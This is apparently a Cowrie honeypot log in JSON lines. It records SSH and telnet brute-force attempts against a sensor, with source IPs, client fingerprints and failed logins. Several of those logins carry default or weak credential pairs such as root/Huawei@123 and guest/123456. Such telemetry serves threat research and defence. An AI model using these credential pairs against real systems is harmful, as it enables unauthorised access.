{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:30:30.214119Z","src_ip":"103.75.199.4","session":"f38db9dd3dec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.746503829956055,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:30:35.554312Z","src_ip":"132.148.22.172","session":"13c7cf0a5dd1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76750087738037,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:30:36.535863Z","src_ip":"132.148.22.172","session":"4cff747b2763","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99209427833557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:30:40.543831Z","src_ip":"132.148.22.172","session":"0fa1ba1cab2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.978291988372803,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:30:41.498205Z","src_ip":"132.148.22.172","session":"9a32265d3829","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":60606,"dst_ip":"159.203.135.109","dst_port":22,"session":"9efd0dd3cab9","protocol":"ssh","message":"New connection: 103.75.199.4:60606 (159.203.135.109:22) [session: 9efd0dd3cab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:30:50.741676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:30:50.746816Z","src_ip":"103.75.199.4","session":"9efd0dd3cab9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:30:50.838866Z","src_ip":"103.75.199.4","session":"9efd0dd3cab9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:30:51.113016Z","src_ip":"103.75.199.4","session":"9efd0dd3cab9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:30:52.207111Z","src_ip":"103.75.199.4","session":"9efd0dd3cab9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":42324,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7b243e47e58","protocol":"ssh","message":"New connection: 103.75.199.4:42324 (159.203.135.109:22) [session: b7b243e47e58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:31:12.655672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:31:12.660125Z","src_ip":"103.75.199.4","session":"b7b243e47e58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:31:12.755915Z","src_ip":"103.75.199.4","session":"b7b243e47e58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:31:13.045212Z","src_ip":"103.75.199.4","session":"b7b243e47e58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:31:14.142412Z","src_ip":"103.75.199.4","session":"b7b243e47e58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.37.143","src_port":45784,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b779ff39ad3","protocol":"ssh","message":"New connection: 78.40.37.143:45784 (10.17.0.5:22) [session: 8b779ff39ad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:31:29.424698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:31:29.429521Z","src_ip":"78.40.37.143","session":"8b779ff39ad3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:31:29.509680Z","src_ip":"78.40.37.143","session":"8b779ff39ad3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"warnight","password":"warnight","message":"login attempt [warnight/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:31:29.862813Z","src_ip":"78.40.37.143","session":"8b779ff39ad3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:31:30.947036Z","src_ip":"78.40.37.143","session":"8b779ff39ad3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":46328,"dst_ip":"159.203.135.109","dst_port":22,"session":"9506de8cd6e3","protocol":"ssh","message":"New connection: 103.75.199.4:46328 (159.203.135.109:22) [session: 9506de8cd6e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:31:34.551029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:31:34.555364Z","src_ip":"103.75.199.4","session":"9506de8cd6e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:31:34.646654Z","src_ip":"103.75.199.4","session":"9506de8cd6e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:31:34.920138Z","src_ip":"103.75.199.4","session":"9506de8cd6e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:31:36.014144Z","src_ip":"103.75.199.4","session":"9506de8cd6e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":36182,"dst_ip":"10.17.0.5","dst_port":22,"session":"a885a22746bf","protocol":"ssh","message":"New connection: 80.94.92.182:36182 (10.17.0.5:22) [session: a885a22746bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:31:47.487483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:31:47.492373Z","src_ip":"80.94.92.182","session":"a885a22746bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:31:47.624445Z","src_ip":"80.94.92.182","session":"a885a22746bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fuckyou","message":"login attempt [root/fuckyou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:31:48.148861Z","src_ip":"80.94.92.182","session":"a885a22746bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:31:49.954147Z","src_ip":"80.94.92.182","session":"a885a22746bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":37672,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad8e2c30d996","protocol":"ssh","message":"New connection: 103.75.199.4:37672 (159.203.135.109:22) [session: ad8e2c30d996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:31:56.512408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:31:56.515710Z","src_ip":"103.75.199.4","session":"ad8e2c30d996","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:31:56.608818Z","src_ip":"103.75.199.4","session":"ad8e2c30d996","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:31:56.882601Z","src_ip":"103.75.199.4","session":"ad8e2c30d996","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:31:57.977273Z","src_ip":"103.75.199.4","session":"ad8e2c30d996","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.22.172","src_port":58338,"dst_ip":"10.17.0.5","dst_port":23,"session":"65ec78e39af4","protocol":"telnet","message":"New connection: 132.148.22.172:58338 (10.17.0.5:23) [session: 65ec78e39af4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:31:59.301830Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.154.34.232","src_port":33806,"dst_ip":"10.17.0.5","dst_port":22,"session":"234875369422","protocol":"ssh","message":"New connection: 94.154.34.232:33806 (10.17.0.5:22) [session: 234875369422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:07.702618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:07.706986Z","src_ip":"94.154.34.232","session":"234875369422","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:07.835111Z","src_ip":"94.154.34.232","session":"234875369422","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fecjl1yg","password":"3sScGbQLYlTZvYdQqsZA","message":"login attempt [fecjl1yg/3sScGbQLYlTZvYdQqsZA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:08.383907Z","src_ip":"94.154.34.232","session":"234875369422","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:09.516257Z","src_ip":"94.154.34.232","session":"234875369422","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":39010,"dst_ip":"159.203.135.109","dst_port":22,"session":"9693ae3203cd","protocol":"ssh","message":"New connection: 103.75.199.4:39010 (159.203.135.109:22) [session: 9693ae3203cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:18.343066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:18.347673Z","src_ip":"103.75.199.4","session":"9693ae3203cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:18.444544Z","src_ip":"103.75.199.4","session":"9693ae3203cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samba","password":"samba","message":"login attempt [samba/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:18.720654Z","src_ip":"103.75.199.4","session":"9693ae3203cd","protocol":"ssh"}
